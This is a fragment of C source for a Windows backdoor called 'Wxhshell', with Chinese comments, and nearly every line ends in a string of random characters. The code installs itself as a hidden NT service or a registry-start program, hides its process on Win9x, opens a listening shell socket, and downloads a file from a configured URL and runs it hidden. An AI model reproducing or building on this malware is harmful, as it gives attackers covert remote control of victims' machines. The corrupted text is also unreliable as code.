DWORD BasePriority; C<G`wXlP|
ULONG UniqueProcessId; M= ]]kJ:I
ULONG InheritedFromUniqueProcessId; M"W~%
} PROCESS_BASIC_INFORMATION; $E >)
u*h+c8|zI
PROCNTQSIP NtQueryInformationProcess; {e/6iSpT
U=Hx&g
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hyn* O)q!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y-ZTv(<
Bu{1^g:
HANDLE hProcess; X:/Y^Xu
PROCESS_BASIC_INFORMATION pbi; 6he (v
G+k~k/D 6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1s "/R
if(NULL == hInst ) return 0; R3dt-v
Yw!(]8PYdU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >}I BPC
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ho^rYz
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2a,l;o$2&
n){F
FM
if (!NtQueryInformationProcess) return 0; bMCy=5
`@tnEg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,suC`)R
if(!hProcess) return 0; #P,C9OQD
+`(,1L1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $qp,7RW
.ou#BWav/
CloseHandle(hProcess); ",Ge:\TR=
uG:xd0X+W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l,w$!FnmR
if(hProcess==NULL) return 0; 9$iDK$%
$%GW~|S\C
HMODULE hMod; G&DL)ePu]m
char procName[255]; wF\5 X
unsigned long cbNeeded; q\I2lZ
9FKowF_8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?c7}
v
qiyX{J7Z
CloseHandle(hProcess); J|gRG0O9Ya
}$wWX}@
if(strstr(procName,"services")) return 1; // 以服务启动 ==^9_a^
+`p@md2L1
return 0; // 注册表启动 rL9u7)x
} ?*K{1Ghf
4\rw JD<
// 主模块 M#'j7EMu
int StartWxhshell(LPSTR lpCmdLine) MmL)CT
{ m.':5
SOCKET wsl; uB*Y}"Fn
BOOL val=TRUE; ),%(A~\
int port=0; S+mM S
struct sockaddr_in door; P)k!#*
loR,f&80=O
if(wscfg.ws_autoins) Install(); -V\$oVS0S
c
0/vB
port=atoi(lpCmdLine); A])+Pe
(;(P3h
if(port<=0) port=wscfg.ws_port; Kc,=J?Ob
i p"LoCE
WSADATA data; yr"BeTrS.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wusj;v4C4M
QGkMT+A
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 65g"$:0
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ='U>P(
R-
door.sin_family = AF_INET; na)-'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); EsK.g/d
door.sin_port = htons(port); tpQ?E<O
[]#>r
k~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =TcT` ](o
closesocket(wsl); y<0RgG1qp
return 1; NJqjW
} %fH&UFby
BK/~2u
if(listen(wsl,2) == INVALID_SOCKET) { f?[0I\V[$
closesocket(wsl); *l9Wj$vja
return 1; 'ai3f
} wx]r{
Wxhshell(wsl); o)}M$}4
WSACleanup(); X
8#Uk} /
f?P>P23
return 0; \]7i-[
;+6TZqklQ
} KbicP<
,%!E-gr
// 以NT服务方式启动
,fR /C
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {<J(*K*\Jo
{ UU;U,q
DWORD status = 0; ab/^z0GT
DWORD specificError = 0xfffffff; QY}1i .f
*41
2)zEy
serviceStatus.dwServiceType = SERVICE_WIN32; 6&qT1nF1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Kx<T;iJ}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <GRplkf`
serviceStatus.dwWin32ExitCode = 0; 8+=-!":]
serviceStatus.dwServiceSpecificExitCode = 0; QH]G>+LI5
serviceStatus.dwCheckPoint = 0; wSGW_{;-
serviceStatus.dwWaitHint = 0; W, YYL(L
^U@-Dp,k+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E,EpzB$_dj
if (hServiceStatusHandle==0) return; 873'=m&
tY>_+)oi
status = GetLastError(); g6V>_|
if (status!=NO_ERROR) V#-\ 4`c
{ Q}(D^rGP3
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;"T,3JQPn6
serviceStatus.dwCheckPoint = 0; 7!kbe2/]'
serviceStatus.dwWaitHint = 0; t,4'\nv*
serviceStatus.dwWin32ExitCode = status; Of?3|I3 l
serviceStatus.dwServiceSpecificExitCode = specificError; }(-2a*Z;Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |(Q !$
return; .CY;-
} hY5tBL
6f^q >YP
serviceStatus.dwCurrentState = SERVICE_RUNNING; [:Y`^iR.
serviceStatus.dwCheckPoint = 0; </@3}rfUPg
serviceStatus.dwWaitHint = 0; S1&Df%Ra
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y[p
} o+F]80CH
)Co&(;zf
// 处理NT服务事件,比如:启动、停止 f0Zn31c^
VOID WINAPI NTServiceHandler(DWORD fdwControl) z pV+W-j]
{ JA(M'&q4
switch(fdwControl) KvtX>3#qM
{ "H"4]m1Wc
case SERVICE_CONTROL_STOP:
YgfQ{3^I
serviceStatus.dwWin32ExitCode = 0; iLR^ V!
serviceStatus.dwCurrentState = SERVICE_STOPPED; fJ8Q\lb<_
serviceStatus.dwCheckPoint = 0; KsR^:_e
serviceStatus.dwWaitHint = 0; lQ!)0F
{ hO H
DXc"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gT8% ?U:
} b$O1I[o
return; x=jS=3$8
case SERVICE_CONTROL_PAUSE: ^`<
%Pk
serviceStatus.dwCurrentState = SERVICE_PAUSED; s>+,u7EV
break; >||=# ;
case SERVICE_CONTROL_CONTINUE: DuzJQSv
serviceStatus.dwCurrentState = SERVICE_RUNNING; Y%"73.x
break; i<>zN^zn
case SERVICE_CONTROL_INTERROGATE: p^/6Rb"e
break; #lo1GoL\
}; 8H<:?D/tH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zwm2T3@e
} ~SD8#;v2
w>6~
zAh
// 标准应用程序主函数 klON6<w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b8$(j2B~
{ V3] Z~@
U)B^R
// 获取操作系统版本 a-(OAzQ_
OsIsNt=GetOsVer(); E>2~cC*
GetModuleFileName(NULL,ExeFile,MAX_PATH); hnD=DLW $
<-avC/M$d
// 从命令行安装 /ltGSl
if(strpbrk(lpCmdLine,"iI")) Install(); Gj9WUv[P
yL.Z{wd
// 下载执行文件 |bWvQdN
if(wscfg.ws_downexe) { c(5r
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fBZAO
WinExec(wscfg.ws_filenam,SW_HIDE); !GL
kAV
} n$z+g>~N
t;2\(_A
if(!OsIsNt) { s+RSAyU
// 如果时win9x,隐藏进程并且设置为注册表启动 M+ljg&fy
HideProc(); p%?m|(4f
StartWxhshell(lpCmdLine); co-dq\P
} :i8B'|DN5
else ']cRSj.
if(StartFromService()) g[ dI%
// 以服务方式启动 kEr;p{5
StartServiceCtrlDispatcher(DispatchTable); ,rZp(moj
else "T+oXK\B
// 普通方式启动 o1B8_$aYgc
StartWxhshell(lpCmdLine); .
v
L4@_
G$T#ql
return 0; /Q*o6Gys0
}